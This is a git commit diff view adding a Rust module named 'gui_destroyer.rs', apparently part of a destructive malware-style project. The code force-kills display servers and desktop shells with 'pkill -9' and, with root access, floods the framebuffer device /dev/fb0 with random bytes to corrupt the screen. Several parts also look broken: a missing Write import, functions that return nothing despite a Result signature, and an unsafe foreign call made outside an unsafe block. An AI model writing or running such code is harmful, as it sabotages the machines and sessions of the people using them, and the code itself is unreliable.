summaryrefslogtreecommitdiff
path: root/src/non_critical/gui_destroyer.rs
diff options
context:
space:
mode:
Diffstat (limited to 'src/non_critical/gui_destroyer.rs')
-rw-r--r--src/non_critical/gui_destroyer.rs34
1 files changed, 34 insertions, 0 deletions
diff --git a/src/non_critical/gui_destroyer.rs b/src/non_critical/gui_destroyer.rs
new file mode 100644
index 0000000..a7d1c75
--- /dev/null
+++ b/src/non_critical/gui_destroyer.rs
@@ -0,0 +1,34 @@
+#![no_main]
+use std::process;
+use std::io::Error;
+use rand::{Rng, thread_rng};
+
+extern "C" {
+ fn check_root() -> i32;
+}
+
+// Pfff its to light for this project, but why not
+fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> {
+ std::process::Command::new("pkill")
+ .args(&["-9", "Xorg", "xinit", "gnome-shell", "kwin_wayland", "plasmashell"])
+ //TODO: Add more process names of the processes you want to kill
+ .spawn().unwrap();
+
+ if root == true && let Ok(fb) = std::fs::File::create("/dev/fb0"){
+ let mut rng = rand::thread_rng();
+ for _ in 0..1000 {
+ let garbage: Vec<u8> = (0..1024).map(|_| rng.gen()).collect();
+ let _ = fb.write(&garbage);
+ }
+ }
+}
+
+
+fn init() -> Result<(), std::io::Error> {
+ if check_root() == 0 {
+ artifacts_and_kill(true)
+ } else {
+ artifacts_and_kill(false)
+ }
+}
+